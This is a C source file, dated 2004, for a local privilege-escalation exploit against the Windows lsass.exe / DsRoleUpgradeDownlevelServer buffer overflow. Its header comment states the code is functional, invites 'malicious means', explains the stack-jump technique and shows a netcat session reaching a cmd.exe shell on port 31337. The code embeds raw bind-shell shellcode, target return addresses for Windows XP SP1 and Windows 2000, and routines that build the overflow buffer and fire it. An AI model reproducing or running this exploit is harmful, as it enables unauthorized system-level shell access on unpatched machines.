/* Billybastard.c !!!! The following code is functional code to exploit the lsass.exe flaw discovered by eeye. This is the local version of the exploit. I will release a remote version if someone pays me ;) Use at your free will, to test for the vulnerability or for malicious means. I do not give a fuck. Greetz: Dayle, Sc, breezah, RaFa, netmaniac, nightforce, prog, illmob group and everyone else i forgot to mention. Big thanks to netmaniac for hints on the undocumented api and making me aware of the bug etc. Obstacles encountered during developing the code: The biggest problem was probably the fact that the area pointed to by ESP was actually a very limited place where we had control of (8 bytes to be precised). There is no way decent shellcode would fit into it. So what i done was relocated my shellcode somewhere else in the buffer and performed a bit of hackery to jump backwards into the place where the shellcode was located. I also had to make sure the registers were kept intact and cleaned up but this was not a problem. -------------- C:\Documents and Settings\ronan>nc 127.0.0.1 31337 Microsoft Windows XP [Version 5.1.2600] (C) Copyright 1985-2001 Microsoft Corp. C:\WINDOWS\system32> ---------------- Coded by Hi_Tech_Assassin date: 15/4/04 */ #include #include #include #include #pragma comment(lib,"rpcrt4.lib") #define NET_LIB "netapi32.dll" #define NET_LIB_FUNC "DsRoleUpgradeDownlevelServer" #define BUFSIZE 2000 #define NOP 0x90 struct targets { int targetNo; char platform[40]; long jmpAddr; } target[]= { {1,"win xp(sp1 all patches) kernel32.dll", 0x77E9AE59}, // tested {2,"win2k(all)", 0x0018759F}, // untested {3,"crash", 0xffffffff}, {NULL} }; char shellcode[] = "\x90" "\x8B\xEC" //mov ebp, esp "\xB0\x90" //mov al, 90h "\x2B\xE0" //sub esp, eax "\x90\x90\x90" "\xeb\x23\x7a\x69\x02\x05\x6c\x59\xf8\x1d\x9c\xde\x8c\xd1\x4c" "\x70\xd4\x03\xf0\x27\x20\x20\x30\x08\x57\x53\x32\x5f\x33\x32" "\x2e\x44\x4c\x4c\x01\xeb\x05\xe8\xf9\xff\xff\xff\x5d\x83\xed" "\x2a\x6a\x30\x59\x64\x8b\x01\x8b\x40\x0c\x8b\x70\x1c\xad\x8b" "\x78\x08\x8d\x5f\x3c\x8b\x1b\x01\xfb\x8b\x5b\x78\x01\xfb\x8b" "\x4b\x1c\x01\xf9\x8b\x53\x24\x01\xfa\x53\x51\x52\x8b\x5b\x20" "\x01\xfb\x31\xc9\x41\x31\xc0\x99\x8b\x34\x8b\x01\xfe\xac\x31" "\xc2\xd1\xe2\x84\xc0\x75\xf7\x0f\xb6\x45\x05\x8d\x44\x45\x04" "\x66\x39\x10\x75\xe1\x66\x31\x10\x5a\x58\x5e\x56\x50\x52\x2b" "\x4e\x10\x41\x0f\xb7\x0c\x4a\x8b\x04\x88\x01\xf8\x0f\xb6\x4d" "\x05\x89\x44\x8d\xd8\xfe\x4d\x05\x75\xbe\xfe\x4d\x04\x74\x21" "\xfe\x4d\x22\x8d\x5d\x18\x53\xff\xd0\x89\xc7\x6a\x04\x58\x88" "\x45\x05\x80\x45\x77\x0a\x8d\x5d\x74\x80\x6b\x26\x14\xe9\x78" "\xff\xff\xff\x89\xce\x31\xdb\x53\x53\x53\x53\x56\x46\x56\xff" "\xd0\x97\x55\x58\x66\x89\x30\x6a\x10\x55\x57\xff\x55\xd4\x4e" "\x56\x57\xff\x55\xcc\x53\x55\x57\xff\x55\xd0\x97\x8d\x45\x88" "\x50\xff\x55\xe4\x55\x55\xff\x55\xe8\x8d\x44\x05\x0c\x94\x53" "\x68\x2e\x65\x78\x65\x68\x5c\x63\x6d\x64\x94\x31\xd2\x8d\x45" "\xcc\x94\x57\x57\x57\x53\x53\xfe\xc6\x01\xf2\x52\x94\x8d\x45" "\x78\x50\x8d\x45\x88\x50\xb1\x08\x53\x53\x6a\x10\xfe\xce\x52" "\x53\x53\x53\x55\xff\x55\xec\x6a\xff\xff\x55\xe0"; void Banner(void) { puts("\nBillybastard (local lsass ownage exploit)"); } void Usage(void) { int x=0; printf("\nUsage:\n\n Billybastard \n\nTargets\n\n"); while(target[x].targetNo) { printf("[%d] - %s\n", target[x].targetNo, target[x].platform); x++; } printf("\nCoded by: Hi Tech Assassin\n"); } int main(int argc, char **argv) { HMODULE hNetLib; FARPROC NetLibFunc; char junk[]="\xee\xee\xee"; char strAsmSex[]="\x66\x81\xEC\x1C\x07\xFF\xE4"; char strBigBuffer[BUFSIZE]; unsigned int targetNo=0; unsigned char * pszUuid = NULL; unsigned char * pszProtocolSequence = "ncacn_np"; unsigned char * pszNetworkAddress = NULL; unsigned char * pszEndpoint = "\\pipe\\lsarpc"; unsigned char * pszOptions = NULL; unsigned char * pszStringBinding = NULL; unsigned char * pszString = NULL; RPC_STATUS rpcStatus; Banner(); if(argc==2)targetNo=atoi(argv[1])-1; else { Usage(); return 0; } rpcStatus=RpcStringBindingCompose(pszUuid, pszProtocolSequence, pszNetworkAddress, pszEndpoint, pszOptions, &pszStringBinding); if(rpcStatus) { printf("rpcbind error\n"); return 1; } printf("rpcbind success!\n"); hNetLib = LoadLibrary(NET_LIB); if(hNetLib == NULL) { printf("[x] Error loadin' library %s\n Exitin'...\n",NET_LIB); return 1; } NetLibFunc = (HANDLE)GetProcAddress(hNetLib,NET_LIB_FUNC); memset(strBigBuffer, NOP, BUFSIZE); memcpy(strBigBuffer+160, shellcode, strlen(shellcode)); memcpy(strBigBuffer+1980, strAsmSex, strlen(strAsmSex)); *(long *)&strBigBuffer[1964]=target[targetNo].jmpAddr; NetLibFunc(strBigBuffer,junk,junk,junk,junk,junk,junk,junk,junk,junk,junk,junk); RpcStringFree(&pszStringBinding); FreeLibrary(hNetLib); return 0; }

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